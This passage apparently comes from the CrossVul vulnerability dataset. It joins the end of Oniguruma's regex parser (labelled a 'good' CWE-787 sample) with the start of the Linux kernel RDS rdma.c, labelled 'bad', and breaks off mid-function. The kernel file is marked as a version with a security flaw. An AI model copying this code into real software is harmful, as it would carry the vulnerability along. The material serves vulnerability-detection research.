(IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_OPTION_RUBY)) { ONOFF(option, ONIG_OPTION_MULTILINE, neg); } else return ONIGERR_UNDEFINED_GROUP_OPTION; break; #ifdef USE_POSIXLINE_OPTION case 'p': ONOFF(option, ONIG_OPTION_MULTILINE|ONIG_OPTION_SINGLELINE, neg); break; #endif default: return ONIGERR_UNDEFINED_GROUP_OPTION; } if (c == ')') { *np = node_new_option(option); CHECK_NULL_RETURN_MEMERR(*np); *src = p; return 2; /* option only */ } else if (c == ':') { OnigOptionType prev = env->option; env->option = option; r = fetch_token(tok, &p, end, env); if (r < 0) return r; r = parse_subexp(&target, tok, term, &p, end, env); env->option = prev; if (r < 0) { onig_node_free(target); return r; } *np = node_new_option(option); CHECK_NULL_RETURN_MEMERR(*np); NENCLOSE(*np)->target = target; *src = p; return 0; } if (PEND) return ONIGERR_END_PATTERN_IN_GROUP; PFETCH(c); } } break; default: return ONIGERR_UNDEFINED_GROUP_OPTION; } } else { if (ONIG_IS_OPTION_ON(env->option, ONIG_OPTION_DONT_CAPTURE_GROUP)) goto group; *np = node_new_enclose_memory(env->option, 0); CHECK_NULL_RETURN_MEMERR(*np); num = scan_env_add_mem_entry(env); if (num < 0) return num; NENCLOSE(*np)->regnum = num; } CHECK_NULL_RETURN_MEMERR(*np); r = fetch_token(tok, &p, end, env); if (r < 0) return r; r = parse_subexp(&target, tok, term, &p, end, env); if (r < 0) { onig_node_free(target); return r; } if (NTYPE(*np) == NT_ANCHOR) NANCHOR(*np)->target = target; else { NENCLOSE(*np)->target = target; if (NENCLOSE(*np)->type == ENCLOSE_MEMORY) { /* Don't move this to previous of parse_subexp() */ r = scan_env_set_mem_node(env, NENCLOSE(*np)->regnum, *np); if (r != 0) return r; } } *src = p; return 0; } static const char* PopularQStr[] = { "?", "*", "+", "??", "*?", "+?" }; static const char* ReduceQStr[] = { "", "", "*", "*?", "??", "+ and ??", "+? and ?" }; static int set_quantifier(Node* qnode, Node* target, int group, ScanEnv* env) { QtfrNode* qn; qn = NQTFR(qnode); if (qn->lower == 1 && qn->upper == 1) { return 1; } switch (NTYPE(target)) { case NT_STR: if (! group) { StrNode* sn = NSTR(target); if (str_node_can_be_split(sn, env->enc)) { Node* n = str_node_split_last_char(sn, env->enc); if (IS_NOT_NULL(n)) { qn->target = n; return 2; } } } break; case NT_QTFR: { /* check redundant double repeat. */ /* verbose warn (?:.?)? etc... but not warn (.?)? etc... */ QtfrNode* qnt = NQTFR(target); int nestq_num = popular_quantifier_num(qn); int targetq_num = popular_quantifier_num(qnt); #ifdef USE_WARNING_REDUNDANT_NESTED_REPEAT_OPERATOR if (!IS_QUANTIFIER_BY_NUMBER(qn) && !IS_QUANTIFIER_BY_NUMBER(qnt) && IS_SYNTAX_BV(env->syntax, ONIG_SYN_WARN_REDUNDANT_NESTED_REPEAT)) { UChar buf[WARN_BUFSIZE]; switch(ReduceTypeTable[targetq_num][nestq_num]) { case RQ_ASIS: break; case RQ_DEL: if (onig_verb_warn != onig_null_warn) { onig_snprintf_with_pattern(buf, WARN_BUFSIZE, env->enc, env->pattern, env->pattern_end, (UChar* )"redundant nested repeat operator"); (*onig_verb_warn)((char* )buf); } goto warn_exit; break; default: if (onig_verb_warn != onig_null_warn) { onig_snprintf_with_pattern(buf, WARN_BUFSIZE, env->enc, env->pattern, env->pattern_end, (UChar* )"nested repeat operator %s and %s was replaced with '%s'", PopularQStr[targetq_num], PopularQStr[nestq_num], ReduceQStr[ReduceTypeTable[targetq_num][nestq_num]]); (*onig_verb_warn)((char* )buf); } goto warn_exit; break; } } warn_exit: #endif if (targetq_num >= 0) { if (nestq_num >= 0) { onig_reduce_nested_quantifier(qnode, target); goto q_exit; } else if (targetq_num == 1 || targetq_num == 2) { /* * or + */ /* (?:a*){n,m}, (?:a+){n,m} => (?:a*){n,n}, (?:a+){n,n} */ if (! IS_REPEAT_INFINITE(qn->upper) && qn->upper > 1 && qn->greedy) { qn->upper = (qn->lower == 0 ? 1 : qn->lower); } } } } break; default: break; } qn->target = target; q_exit: return 0; } #ifndef CASE_FOLD_IS_APPLIED_INSIDE_NEGATIVE_CCLASS static int clear_not_flag_cclass(CClassNode* cc, OnigEncoding enc) { BBuf *tbuf; int r; if (IS_NCCLASS_NOT(cc)) { bitset_invert(cc->bs); if (! ONIGENC_IS_SINGLEBYTE(enc)) { r = not_code_range_buf(enc, cc->mbuf, &tbuf); if (r != 0) return r; bbuf_free(cc->mbuf); cc->mbuf = tbuf; } NCCLASS_CLEAR_NOT(cc); } return 0; } #endif /* CASE_FOLD_IS_APPLIED_INSIDE_NEGATIVE_CCLASS */ typedef struct { ScanEnv* env; CClassNode* cc; Node* alt_root; Node** ptail; } IApplyCaseFoldArg; static int i_apply_case_fold(OnigCodePoint from, OnigCodePoint to[], int to_len, void* arg) { IApplyCaseFoldArg* iarg; ScanEnv* env; CClassNode* cc; BitSetRef bs; iarg = (IApplyCaseFoldArg* )arg; env = iarg->env; cc = iarg->cc; bs = cc->bs; if (to_len == 1) { int is_in = onig_is_code_in_cc(env->enc, from, cc); #ifdef CASE_FOLD_IS_APPLIED_INSIDE_NEGATIVE_CCLASS if ((is_in != 0 && !IS_NCCLASS_NOT(cc)) || (is_in == 0 && IS_NCCLASS_NOT(cc))) { if (ONIGENC_MBC_MINLEN(env->enc) > 1 || *to >= SINGLE_BYTE_SIZE) { add_code_range(&(cc->mbuf), env, *to, *to); } else { BITSET_SET_BIT(bs, *to); } } #else if (is_in != 0) { if (ONIGENC_MBC_MINLEN(env->enc) > 1 || *to >= SINGLE_BYTE_SIZE) { if (IS_NCCLASS_NOT(cc)) clear_not_flag_cclass(cc, env->enc); add_code_range(&(cc->mbuf), env, *to, *to); } else { if (IS_NCCLASS_NOT(cc)) { BITSET_CLEAR_BIT(bs, *to); } else BITSET_SET_BIT(bs, *to); } } #endif /* CASE_FOLD_IS_APPLIED_INSIDE_NEGATIVE_CCLASS */ } else { int r, i, len; UChar buf[ONIGENC_CODE_TO_MBC_MAXLEN]; Node *snode = NULL_NODE; if (onig_is_code_in_cc(env->enc, from, cc) #ifdef CASE_FOLD_IS_APPLIED_INSIDE_NEGATIVE_CCLASS && !IS_NCCLASS_NOT(cc) #endif ) { for (i = 0; i < to_len; i++) { len = ONIGENC_CODE_TO_MBC(env->enc, to[i], buf); if (i == 0) { snode = onig_node_new_str(buf, buf + len); CHECK_NULL_RETURN_MEMERR(snode); /* char-class expanded multi-char only compare with string folded at match time. */ NSTRING_SET_AMBIG(snode); } else { r = onig_node_str_cat(snode, buf, buf + len); if (r < 0) { onig_node_free(snode); return r; } } } *(iarg->ptail) = onig_node_new_alt(snode, NULL_NODE); CHECK_NULL_RETURN_MEMERR(*(iarg->ptail)); iarg->ptail = &(NCDR((*(iarg->ptail)))); } } return 0; } static int parse_exp(Node** np, OnigToken* tok, int term, UChar** src, UChar* end, ScanEnv* env) { int r, len, group = 0; Node* qn; Node** targetp; *np = NULL; if (tok->type == (enum TokenSyms )term) goto end_of_token; switch (tok->type) { case TK_ALT: case TK_EOT: end_of_token: *np = node_new_empty(); return tok->type; break; case TK_SUBEXP_OPEN: r = parse_enclose(np, tok, TK_SUBEXP_CLOSE, src, end, env); if (r < 0) return r; if (r == 1) group = 1; else if (r == 2) { /* option only */ Node* target; OnigOptionType prev = env->option; env->option = NENCLOSE(*np)->option; r = fetch_token(tok, src, end, env); if (r < 0) return r; r = parse_subexp(&target, tok, term, src, end, env); env->option = prev; if (r < 0) { onig_node_free(target); return r; } NENCLOSE(*np)->target = target; return tok->type; } break; case TK_SUBEXP_CLOSE: if (! IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_UNMATCHED_CLOSE_SUBEXP)) return ONIGERR_UNMATCHED_CLOSE_PARENTHESIS; if (tok->escaped) goto tk_raw_byte; else goto tk_byte; break; case TK_STRING: tk_byte: { *np = node_new_str(tok->backp, *src); CHECK_NULL_RETURN_MEMERR(*np); while (1) { r = fetch_token(tok, src, end, env); if (r < 0) return r; if (r != TK_STRING) break; r = onig_node_str_cat(*np, tok->backp, *src); if (r < 0) return r; } string_end: targetp = np; goto repeat; } break; case TK_RAW_BYTE: tk_raw_byte: { *np = node_new_str_raw_char((UChar )tok->u.c); CHECK_NULL_RETURN_MEMERR(*np); len = 1; while (1) { if (len >= ONIGENC_MBC_MINLEN(env->enc)) { if (len == enclen(env->enc, NSTR(*np)->s)) {//should not enclen_end() r = fetch_token(tok, src, end, env); NSTRING_CLEAR_RAW(*np); goto string_end; } } r = fetch_token(tok, src, end, env); if (r < 0) return r; if (r != TK_RAW_BYTE) { /* Don't use this, it is wrong for little endian encodings. */ #ifdef USE_PAD_TO_SHORT_BYTE_CHAR int rem; if (len < ONIGENC_MBC_MINLEN(env->enc)) { rem = ONIGENC_MBC_MINLEN(env->enc) - len; (void )node_str_head_pad(NSTR(*np), rem, (UChar )0); if (len + rem == enclen(env->enc, NSTR(*np)->s)) { NSTRING_CLEAR_RAW(*np); goto string_end; } } #endif return ONIGERR_TOO_SHORT_MULTI_BYTE_STRING; } r = node_str_cat_char(*np, (UChar )tok->u.c); if (r < 0) return r; len++; } } break; case TK_CODE_POINT: { UChar buf[ONIGENC_CODE_TO_MBC_MAXLEN]; int num = ONIGENC_CODE_TO_MBC(env->enc, tok->u.code, buf); if (num < 0) return num; #ifdef NUMBERED_CHAR_IS_NOT_CASE_AMBIG *np = node_new_str_raw(buf, buf + num); #else *np = node_new_str(buf, buf + num); #endif CHECK_NULL_RETURN_MEMERR(*np); } break; case TK_QUOTE_OPEN: { OnigCodePoint end_op[2]; UChar *qstart, *qend, *nextp; end_op[0] = (OnigCodePoint )MC_ESC(env->syntax); end_op[1] = (OnigCodePoint )'E'; qstart = *src; qend = find_str_position(end_op, 2, qstart, end, &nextp, env->enc); if (IS_NULL(qend)) { nextp = qend = end; } *np = node_new_str(qstart, qend); CHECK_NULL_RETURN_MEMERR(*np); *src = nextp; } break; case TK_CHAR_TYPE: { switch (tok->u.prop.ctype) { case ONIGENC_CTYPE_WORD: *np = node_new_ctype(tok->u.prop.ctype, tok->u.prop.not); CHECK_NULL_RETURN_MEMERR(*np); break; case ONIGENC_CTYPE_SPACE: case ONIGENC_CTYPE_DIGIT: case ONIGENC_CTYPE_XDIGIT: { CClassNode* cc; *np = node_new_cclass(); CHECK_NULL_RETURN_MEMERR(*np); cc = NCCLASS(*np); add_ctype_to_cc(cc, tok->u.prop.ctype, 0, env); if (tok->u.prop.not != 0) NCCLASS_SET_NOT(cc); } break; default: return ONIGERR_PARSER_BUG; break; } } break; case TK_CHAR_PROPERTY: r = parse_char_property(np, tok, src, end, env); if (r != 0) return r; break; case TK_CC_OPEN: { CClassNode* cc; r = parse_char_class(np, tok, src, end, env); if (r != 0) return r; cc = NCCLASS(*np); if (IS_IGNORECASE(env->option)) { IApplyCaseFoldArg iarg; iarg.env = env; iarg.cc = cc; iarg.alt_root = NULL_NODE; iarg.ptail = &(iarg.alt_root); r = ONIGENC_APPLY_ALL_CASE_FOLD(env->enc, env->case_fold_flag, i_apply_case_fold, &iarg); if (r != 0) { onig_node_free(iarg.alt_root); return r; } if (IS_NOT_NULL(iarg.alt_root)) { Node* work = onig_node_new_alt(*np, iarg.alt_root); if (IS_NULL(work)) { onig_node_free(iarg.alt_root); return ONIGERR_MEMORY; } *np = work; } } } break; case TK_ANYCHAR: *np = node_new_anychar(); CHECK_NULL_RETURN_MEMERR(*np); break; case TK_ANYCHAR_ANYTIME: *np = node_new_anychar(); CHECK_NULL_RETURN_MEMERR(*np); qn = node_new_quantifier(0, REPEAT_INFINITE, 0); CHECK_NULL_RETURN_MEMERR(qn); NQTFR(qn)->target = *np; *np = qn; break; case TK_BACKREF: len = tok->u.backref.num; *np = node_new_backref(len, (len > 1 ? tok->u.backref.refs : &(tok->u.backref.ref1)), tok->u.backref.by_name, #ifdef USE_BACKREF_WITH_LEVEL tok->u.backref.exist_level, tok->u.backref.level, #endif env); CHECK_NULL_RETURN_MEMERR(*np); break; #ifdef USE_SUBEXP_CALL case TK_CALL: { int gnum = tok->u.call.gnum; if (gnum < 0) { gnum = BACKREF_REL_TO_ABS(gnum, env); if (gnum <= 0) return ONIGERR_INVALID_BACKREF; } *np = node_new_call(tok->u.call.name, tok->u.call.name_end, gnum); CHECK_NULL_RETURN_MEMERR(*np); env->num_call++; } break; #endif case TK_ANCHOR: *np = onig_node_new_anchor(tok->u.anchor); break; case TK_OP_REPEAT: case TK_INTERVAL: if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_CONTEXT_INDEP_REPEAT_OPS)) { if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_CONTEXT_INVALID_REPEAT_OPS)) return ONIGERR_TARGET_OF_REPEAT_OPERATOR_NOT_SPECIFIED; else *np = node_new_empty(); } else { goto tk_byte; } break; default: return ONIGERR_PARSER_BUG; break; } { targetp = np; re_entry: r = fetch_token(tok, src, end, env); if (r < 0) return r; repeat: if (r == TK_OP_REPEAT || r == TK_INTERVAL) { if (is_invalid_quantifier_target(*targetp)) return ONIGERR_TARGET_OF_REPEAT_OPERATOR_INVALID; qn = node_new_quantifier(tok->u.repeat.lower, tok->u.repeat.upper, (r == TK_INTERVAL ? 1 : 0)); CHECK_NULL_RETURN_MEMERR(qn); NQTFR(qn)->greedy = tok->u.repeat.greedy; r = set_quantifier(qn, *targetp, group, env); if (r < 0) { onig_node_free(qn); return r; } if (tok->u.repeat.possessive != 0) { Node* en; en = node_new_enclose(ENCLOSE_STOP_BACKTRACK); if (IS_NULL(en)) { onig_node_free(qn); return ONIGERR_MEMORY; } NENCLOSE(en)->target = qn; qn = en; } if (r == 0) { *targetp = qn; } else if (r == 1) { onig_node_free(qn); } else if (r == 2) { /* split case: /abc+/ */ Node *tmp; *targetp = node_new_list(*targetp, NULL); if (IS_NULL(*targetp)) { onig_node_free(qn); return ONIGERR_MEMORY; } tmp = NCDR(*targetp) = node_new_list(qn, NULL); if (IS_NULL(tmp)) { onig_node_free(qn); return ONIGERR_MEMORY; } targetp = &(NCAR(tmp)); } goto re_entry; } } return r; } static int parse_branch(Node** top, OnigToken* tok, int term, UChar** src, UChar* end, ScanEnv* env) { int r; Node *node, **headp; *top = NULL; r = parse_exp(&node, tok, term, src, end, env); if (r < 0) { onig_node_free(node); return r; } if (r == TK_EOT || r == term || r == TK_ALT) { *top = node; } else { *top = node_new_list(node, NULL); headp = &(NCDR(*top)); while (r != TK_EOT && r != term && r != TK_ALT) { r = parse_exp(&node, tok, term, src, end, env); if (r < 0) { onig_node_free(node); return r; } if (NTYPE(node) == NT_LIST) { *headp = node; while (IS_NOT_NULL(NCDR(node))) node = NCDR(node); headp = &(NCDR(node)); } else { *headp = node_new_list(node, NULL); headp = &(NCDR(*headp)); } } } return r; } /* term_tok: TK_EOT or TK_SUBEXP_CLOSE */ static int parse_subexp(Node** top, OnigToken* tok, int term, UChar** src, UChar* end, ScanEnv* env) { int r; Node *node, **headp; *top = NULL; env->parse_depth++; if (env->parse_depth > ParseDepthLimit) return ONIGERR_PARSE_DEPTH_LIMIT_OVER; r = parse_branch(&node, tok, term, src, end, env); if (r < 0) { onig_node_free(node); return r; } if (r == term) { *top = node; } else if (r == TK_ALT) { *top = onig_node_new_alt(node, NULL); headp = &(NCDR(*top)); while (r == TK_ALT) { r = fetch_token(tok, src, end, env); if (r < 0) return r; r = parse_branch(&node, tok, term, src, end, env); if (r < 0) { onig_node_free(node); return r; } *headp = onig_node_new_alt(node, NULL); headp = &(NCDR(*headp)); } if (tok->type != (enum TokenSyms )term) goto err; } else { onig_node_free(node); err: if (term == TK_SUBEXP_CLOSE) return ONIGERR_END_PATTERN_WITH_UNMATCHED_PARENTHESIS; else return ONIGERR_PARSER_BUG; } env->parse_depth--; return r; } static int parse_regexp(Node** top, UChar** src, UChar* end, ScanEnv* env) { int r; OnigToken tok; r = fetch_token(&tok, src, end, env); if (r < 0) return r; r = parse_subexp(top, &tok, TK_EOT, src, end, env); if (r < 0) return r; return 0; } extern int onig_parse_make_tree(Node** root, const UChar* pattern, const UChar* end, regex_t* reg, ScanEnv* env) { int r; UChar* p; #ifdef USE_NAMED_GROUP names_clear(reg); #endif scan_env_clear(env); env->option = reg->options; env->case_fold_flag = reg->case_fold_flag; env->enc = reg->enc; env->syntax = reg->syntax; env->pattern = (UChar* )pattern; env->pattern_end = (UChar* )end; env->reg = reg; *root = NULL; if (! ONIGENC_IS_VALID_MBC_STRING(env->enc, pattern, end)) return ONIGERR_INVALID_WIDE_CHAR_VALUE; p = (UChar* )pattern; r = parse_regexp(root, &p, (UChar* )end, env); reg->num_mem = env->num_mem; return r; } extern void onig_scan_env_set_error_string(ScanEnv* env, int ecode ARG_UNUSED, UChar* arg, UChar* arg_end) { env->error = arg; env->error_end = arg_end; }
./CrossVul/dataset_final_sorted/CWE-787/c/good_3375_0
crossvul-cpp_data_bad_572_0
/* * Copyright (c) 2007 Oracle. All rights reserved. * * This software is available to you under a choice of one of two * licenses. You may choose to be licensed under the terms of the GNU * General Public License (GPL) Version 2, available from the file * COPYING in the main directory of this source tree, or the * OpenIB.org BSD license below: * * Redistribution and use in source and binary forms, with or * without modification, are permitted provided that the following * conditions are met: * * - Redistributions of source code must retain the above * copyright notice, this list of conditions and the following * disclaimer. * * - Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following * disclaimer in the documentation and/or other materials * provided with the distribution. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. * */ #include <linux/pagemap.h> #include <linux/slab.h> #include <linux/rbtree.h> #include <linux/dma-mapping.h> /* for DMA_*_DEVICE */ #include "rds.h" /* * XXX * - build with sparse * - should we detect duplicate keys on a socket? hmm. * - an rdma is an mlock, apply rlimit? */ /* * get the number of pages by looking at the page indices that the start and * end addresses fall in. * * Returns 0 if the vec is invalid. It is invalid if the number of bytes * causes the address to wrap or overflows an unsigned int. This comes * from being stored in the 'length' member of 'struct scatterlist'. */ static unsigned int rds_pages_in_vec(struct rds_iovec *vec) { if ((vec->addr + vec->bytes <= vec->addr) || (vec->bytes > (u64)UINT_MAX)) return 0; return ((vec->addr + vec->bytes + PAGE_SIZE - 1) >> PAGE_SHIFT) - (vec->addr >> PAGE_SHIFT); } static struct rds_mr *rds_mr_tree_walk(struct rb_root *root, u64 key, struct rds_mr *insert) { struct rb_node **p = &root->rb_node; struct rb_node *parent = NULL; struct rds_mr *mr; while (*p) { parent = *p; mr = rb_entry(parent, struct rds_mr, r_rb_node); if (key < mr->r_key) p = &(*p)->rb_left; else if (key > mr->r_key) p = &(*p)->rb_right; else return mr; } if (insert) { rb_link_node(&insert->r_rb_node, parent, p); rb_insert_color(&insert->r_rb_node, root); refcount_inc(&insert->r_refcount); } return NULL; } /* * Destroy the transport-specific part of a MR. */ static void rds_destroy_mr(struct rds_mr *mr) { struct rds_sock *rs = mr->r_sock; void *trans_private = NULL; unsigned long flags; rdsdebug("RDS: destroy mr key is %x refcnt %u\n", mr->r_key, refcount_read(&mr->r_refcount)); if (test_and_set_bit(RDS_MR_DEAD, &mr->r_state)) return; spin_lock_irqsave(&rs->rs_rdma_lock, flags); if (!RB_EMPTY_NODE(&mr->r_rb_node)) rb_erase(&mr->r_rb_node, &rs->rs_rdma_keys); trans_private = mr->r_trans_private; mr->r_trans_private = NULL; spin_unlock_irqrestore(&rs->rs_rdma_lock, flags); if (trans_private) mr->r_trans->free_mr(trans_private, mr->r_invalidate); } void __rds_put_mr_final(struct rds_mr *mr) { rds_destroy_mr(mr); kfree(mr); } /* * By the time this is called we can't have any more ioctls called on * the socket so we don't need to worry about racing with others. */ void rds_rdma_drop_keys(struct rds_sock *rs) { struct rds_mr *mr; struct rb_node *node; unsigned long flags; /* Release any MRs associated with this socket */ spin_lock_irqsave(&rs->rs_rdma_lock, flags); while ((node = rb_first(&rs->rs_rdma_keys))) { mr = rb_entry(node, struct rds_mr, r_rb_node); if (mr->r_trans == rs->rs_transport) mr->r_invalidate = 0; rb_erase(&mr->r_rb_node, &rs->rs_rdma_keys); RB_CLEAR_NODE(&mr->r_rb_node); spin_unlock_irqrestore(&rs->rs_rdma_lock, flags); rds_destroy_mr(mr); rds_mr_put(mr); spin_lock_irqsave(&rs->rs_rdma_lock, flags); } spin_unlock_irqrestore(&rs->rs_rdma_lock, flags); if (rs->rs_transport && rs->rs_transport->flush_mrs) rs->rs_transport->flush_mrs(); } /* * Helper function to pin user pages. */ static int rds_pin_pages(unsigned long user_addr, unsigned int nr_pages, struct page **pages, int write) { int ret; ret = get_user_pages_fast(user_addr, nr_pages, write, pages); if (ret >= 0 && ret < nr_pages) { while (ret--) put_page(pages[ret]); ret = -EFAULT; } return ret; } static int __rds_rdma_map(struct rds_sock *rs, struct rds_get_mr_args *args, u64 *cookie_ret, struct rds_mr **mr_ret) { struct rds_mr *mr = NULL, *found; unsigned int nr_pages; struct page **pages = NULL; struct scatterlist *sg; void *trans_private; unsigned long flags; rds_rdma_cookie_t cookie; unsigned int nents; long i; int ret; if (rs->rs_bound_addr == 0 || !rs->rs_transport) { ret = -ENOTCONN; /* XXX not a great errno */ goto out; } if (!rs->rs_transport->get_mr) { ret = -EOPNOTSUPP; goto out; } nr_pages = rds_pages_in_vec(&args->vec); if (nr_pages == 0) { ret = -EINVAL; goto out; } /* Restrict the size of mr irrespective of underlying transport * To account for unaligned mr regions, subtract one from nr_pages */ if ((nr_pages - 1) > (RDS_MAX_MSG_SIZE >> PAGE_SHIFT)) { ret = -EMSGSIZE; goto out; } rdsdebug("RDS: get_mr addr %llx len %llu nr_pages %u\n", args->vec.addr, args->vec.bytes, nr_pages); /* XXX clamp nr_pages to limit the size of this alloc? */ pages = kcalloc(nr_pages, sizeof(struct page *), GFP_KERNEL); if (!pages) { ret = -ENOMEM; goto out; } mr = kzalloc(sizeof(struct rds_mr), GFP_KERNEL); if (!mr) { ret = -ENOMEM; goto out; } refcount_set(&mr->r_refcount, 1); RB_CLEAR_NODE(&mr->r_rb_node); mr->r_trans = rs->rs_transport; mr->r_sock = rs; if (args->flags & RDS_RDMA_USE_ONCE) mr->r_use_once = 1; if (args->flags & RDS_RDMA_INVALIDATE) mr->r_invalidate = 1; if (args->flags & RDS_RDMA_READWRITE) mr->r_write = 1; /* * Pin the pages that make up the user buffer and transfer the page * pointers to the mr's sg array. We check to see if we've mapped * the whole region after transferring the partial page references * to the sg array so that we can have one page ref cleanup path. * * For now we have no flag that tells us whether the mapping is * r/o or r/w. We need to assume r/w, or we'll do a lot of RDMA to * the zero page. */ ret = rds_pin_pages(args->vec.addr, nr_pages, pages, 1); if (ret < 0) goto out; nents = ret; sg = kcalloc(nents, sizeof(*sg), GFP_KERNEL); if (!sg) { ret = -ENOMEM; goto out; } WARN_ON(!nents); sg_init_table(sg, nents); /* Stick all pages into the scatterlist */ for (i = 0 ; i < nents; i++) sg_set_page(&sg[i], pages[i], PAGE_SIZE, 0); rdsdebug("RDS: trans_private nents is %u\n", nents); /* Obtain a transport specific MR. If this succeeds, the * s/g list is now owned by the MR. * Note that dma_map() implies that pending writes are * flushed to RAM, so no dma_sync is needed here. */ trans_private = rs->rs_transport->get_mr(sg, nents, rs, &mr->r_key); if (IS_ERR(trans_private)) { for (i = 0 ; i < nents; i++) put_page(sg_page(&sg[i])); kfree(sg); ret = PTR_ERR(trans_private); goto out; } mr->r_trans_private = trans_private; rdsdebug("RDS: get_mr put_user key is %x cookie_addr %p\n", mr->r_key, (void *)(unsigned long) args->cookie_addr); /* The user may pass us an unaligned address, but we can only * map page aligned regions. So we keep the offset, and build * a 64bit cookie containing <R_Key, offset> and pass that * around. */ cookie = rds_rdma_make_cookie(mr->r_key, args->vec.addr & ~PAGE_MASK); if (cookie_ret) *cookie_ret = cookie; if (args->cookie_addr && put_user(cookie, (u64 __user *)(unsigned long) args->cookie_addr)) { ret = -EFAULT; goto out; } /* Inserting the new MR into the rbtree bumps its * reference count. */ spin_lock_irqsave(&rs->rs_rdma_lock, flags); found = rds_mr_tree_walk(&rs->rs_rdma_keys, mr->r_key, mr); spin_unlock_irqrestore(&rs->rs_rdma_lock, flags); BUG_ON(found && found != mr); rdsdebug("RDS: get_mr key is %x\n", mr->r_key); if (mr_ret) { refcount_inc(&mr->r_refcount); *mr_ret = mr; } ret = 0; out: kfree(pages); if (mr) rds_mr_put(mr); return ret; } int rds_get_mr(struct rds_sock *rs, char __user *optval, int optlen) { struct rds_get_mr_args args; if (optlen != sizeof(struct rds_get_mr_args)) return -EINVAL; if (copy_from_user(&args, (struct rds_get_mr_args __user *)optval, sizeof(struct rds_get_mr_args))) return -EFAULT; return __rds_rdma_map(rs, &args, NULL, NULL); } int rds_get_mr_for_dest(struct rds_sock *rs, char __user *optval, int optlen) { struct rds_get_mr_for_dest_args args; struct rds_get_mr_args new_args; if (optlen != sizeof(struct rds_get_mr_for_dest_args)) return -EINVAL; if (copy_from_user(&args, (struct rds_get_mr_for_dest_args __user *)optval, sizeof(struct rds_get_mr_for_dest_args))) return -EFAULT; /* * Initially, just behave like get_mr(). * TODO: Implement get_mr as wrapper around this * and deprecate it. */ new_args.vec = args.vec; new_args.cookie_addr = args.cookie_addr; new_args.flags = args.flags; return __rds_rdma_map(rs, &new_args, NULL, NULL); } /* * Free the MR indicated by the given R_Key */ int rds_free_mr(struct rds_sock *rs, char __user *optval, int optlen) { struct rds_free_mr_args args; struct rds_mr *mr; unsigned long flags; if (optlen != sizeof(struct rds_free_mr_args)) return -EINVAL; if (copy_from_user(&args, (struct rds_free_mr_args __user *)optval, sizeof(struct rds_free_mr_args))) return -EFAULT; /* Special case - a null cookie means flush all unused MRs */ if (args.cookie == 0) { if (!rs->rs_transport || !rs->rs_transport->flush_mrs) return -EINVAL; rs->rs_transport->flush_mrs(); return 0; } /* Look up the MR given its R_key and remove it from the rbtree * so nobody else finds it. * This should also prevent races with rds_rdma_unuse. */ spin_lock_irqsave(&rs->rs_rdma_lock, flags); mr = rds_mr_tree_walk(&rs->rs_rdma_keys, rds_rdma_cookie_key(args.cookie), NULL); if (mr) { rb_erase(&mr->r_rb_node, &rs->rs_rdma_keys); RB_CLEAR_NODE(&mr->r_rb_node); if (args.flags & RDS_RDMA_INVALIDATE) mr->r_invalidate = 1; } spin_unlock_irqrestore(&rs->rs_rdma_lock, flags); if (!mr) return -EINVAL; /* * call rds_destroy_mr() ourselves so that we're sure it's done by the time * we return. If we let rds_mr_put() do it it might not happen until * someone else drops their ref. */ rds_destroy_mr(mr); rds_mr_put(mr); return 0; } /* * This is called when we receive an extension header that * tells us this MR was used. It allows us to implement * use_once semantics */ void rds_rdma_unuse(struct rds_sock *rs, u32 r_key, int force) { struct rds_mr *mr; unsigned long flags; int zot_me = 0; spin_lock_irqsave(&rs->rs_rdma_lock, flags); mr = rds_mr_tree_walk(&rs->rs_rdma_keys, r_key, NULL); if (!mr) { pr_debug("rds: trying to unuse MR with unknown r_key %u!\n", r_key); spin_unlock_irqrestore(&rs->rs_rdma_lock, flags); return; } if (mr->r_use_once || force) { rb_erase(&mr->r_rb_node, &rs->rs_rdma_keys); RB_CLEAR_NODE(&mr->r_rb_node); zot_me = 1; } spin_unlock_irqrestore(&rs->rs_rdma_lock, flags); /* May have to issue a dma_sync on this memory region. * Note we could avoid this if the operation was a RDMA READ, * but at this point we can't tell. */ if (mr->r_trans->sync_mr) mr->r_trans->sync_mr(mr->r_trans_private, DMA_FROM_DEVICE); /* If the MR was marked as invalidate, this will * trigger an async flush. */ if (zot_me) { rds_destroy_mr(mr); rds_mr_put(mr); } } void rds_rdma_free_op(struct rm_rdma_op *ro) { unsigned int i; for (i = 0; i < ro->op_nents; i++) { struct page *page = sg_page(&ro->op_sg[i]); /* Mark page dirty if it was possibly modified, which * is the case for a RDMA_READ which copies from remote * to local memory */ if (!ro->op_write) { WARN_ON(!page->mapping && irqs_disabled()); set_page_dirty(page); } put_page(page); } kfree(ro->op_notifier); ro->op_notifier = NULL; ro->op_active = 0; } void rds_atomic_free_op(struct rm_atomic_op *ao) { struct page *page = sg_page(ao->op_sg); /* Mark page dirty if it was possibly modified, which * is the case for a RDMA_READ which copies from remote * to local memory */ set_page_dirty(page); put_page(page); kfree(ao->op_notifier); ao->op_notifier = NULL; ao->op_active = 0; } /* * Count the number of pages needed to describe an incoming iovec array. */ static int rds_rdma_pages(struct rds_iovec iov[], int nr_iovecs) { int tot_pages = 0; unsigned int nr_pages; unsigned int i; /* figure out the number of pages in the vector */ for (i = 0; i < nr_iovecs; i++) { nr_pages = rds_pages_in_vec(&iov[i]); if (nr_pages == 0) return -EINVAL; tot_pages += nr_pages; /* * nr_pages for one entry is limited to (UINT_MAX>>PAGE_SHIFT)+1, * so tot_pages cannot overflow without first going negative. */ if (tot_pages < 0) return -EINVAL; } return tot_pages; } int rds_rdma_extra_size(struct rds_rdma_args *args) { struct rds_iovec vec; struct rds_iovec __user *local_vec; int tot_pages = 0; unsigned int nr_pages; unsigned int i; local_vec = (struct rds_iovec __user *)(unsigned long) args->local_vec_addr; /* figure out the number of pages in the vector */ for (i = 0; i < args->nr_local; i++) { if (copy_from_user(&vec, &local_vec[i], 